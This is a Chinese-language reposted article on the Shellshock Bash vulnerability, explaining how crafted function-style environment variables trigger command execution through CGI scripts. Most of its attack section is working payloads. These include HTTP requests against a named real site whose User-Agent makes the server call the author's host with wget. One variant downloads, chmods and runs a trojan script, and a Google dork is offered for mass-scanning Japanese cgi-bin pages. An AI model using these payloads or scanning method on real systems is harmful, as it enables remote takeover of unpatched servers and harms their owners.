Bash遠程解析命令執行漏洞測試方法
發表時間:2023-09-10 來源:明輝站整理相關軟件相關文章人氣:
[摘要]從昨天開始,這個從澳大利亞遠渡重洋而來的BASH遠程命令執行漏洞就沸騰了整個FreeBuf,大家都在談論,“互聯網的心臟又出血了”,可是,親,到底怎么對網站進行測試?下面這段腳本$ env x=‘() { :;}; echo vulner...
從昨天開始,這個從澳大利亞遠渡重洋而來的BASH遠程命令執行漏洞就沸騰了整個FreeBuf,大家都在談論,“互聯網的心臟又出血了”,可是,親,到底怎么對網站進行測試?下面這段腳本
$ env x=‘() { :;}; echo vulnerable' bash -c "echo this is a test"
真的如各路大神們說的這樣嗎?
它與“心臟出血”漏洞不同,“心臟出血”只能借助竊取用戶電腦信息,而bash 漏洞允許黑客遠程控制電腦,拿到系統最高權限!其方法利用就更簡單了——復制/粘貼一行命令代碼即可!
Bash漏洞為什么能夠執行
Bash漏洞的原理:
BASH除了可以將shell變量導出為環境變量,還可以將shell函數導出為環境變量!當前版本的bash通過以函數名作為環境變量名,以“(){”開頭的字串作為環境變量的值來將函數定義導出為環境變量。
此次爆出的漏洞在于BASH處理這樣的“函數環境變量”的時候,并沒有以函數結尾“}”為結束,而是一直執行其后的shell命令。
簡單地說就是,Bash腳本在解析某些特殊字符串時出現邏輯錯誤導致可以執行后面的命令。
Bash漏洞與遠程執行有啥聯系
看到上面的解釋,很多童鞋都理解成了本地的漏洞,然后很多人又覺得,本地有啥可以利用的,于是就忽略了這個神級漏洞的存在。我想說的是,這個漏洞,利用熱度可以媲美當年的MS08-067,威力雖然弱了點,但遠程控制電腦還是可以的。
首先解釋一下cgi腳本。很多網站類似下面的鏈接:
GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
后臺不僅僅用python、Perl來解釋執行并反饋給客戶端Response,當然還可以換做bash腳本來解釋執行提交上來的GET/POST請求。所以,理論上,你在HTTP請求中插入一個Bash命令,比如
() { :;}; wget http://www.myvps.org/testvul.sh
如果服務器的Bash解釋器具有這個漏洞,那么在解釋上面這這句話的時候就會執行wget請求,將一個惡意的testvul.sh文件下載到這個服務器,那為何說要放在HTTP頭部呢?比如:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
這是因為這個漏洞是bash解釋器在解釋某些特殊的變量時才可以觸發的:
在于BASH處理以“(){”開頭的“函數環境變量”的時候,并沒有以函數結尾“}”為結束,而是一直執行其后的shell命令
通過自定義這些參數的值為“函數環境變量”的形式,就可以觸發后面的命令,惡意的客戶僅需要發送特殊構造的HTTP請求就可以使服務器執行特定的命令(命令的權限和解釋HTTP請求的Bash腳本環境相同)。
實際測試中,我的構造的測試請求:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
過程是這樣的:
我發送GET請求–>目標服務器cgi路徑
目標服務器解析這個get請求,碰到UserAgent后面的參數,Bash解釋器就執行了后面的命令
目標服務器wget–>我的myvps.org
我的vps記錄下這個訪問的IP地址
然后查看我的myvps.org服務器的訪問記錄,就可以確定目標有沒有去訪問,如果訪問了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget請求訪問的日志:
大神是這樣測試漏洞的
當然,你也可以這樣構造:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
實際上執行了下面三句:
/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh;
./tmp/muma.sh
你會發現,你的木馬就這么腳本了,這就是Bash漏洞利用的精髓。
當然,你可以利用批量Google搜索:
filetype:cgi inurl:cgi-bin site:jp
然后批量提交類似的GET請求,你就能做到批量測試了。測試表明,500個url里有6-8個有bash漏洞
上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。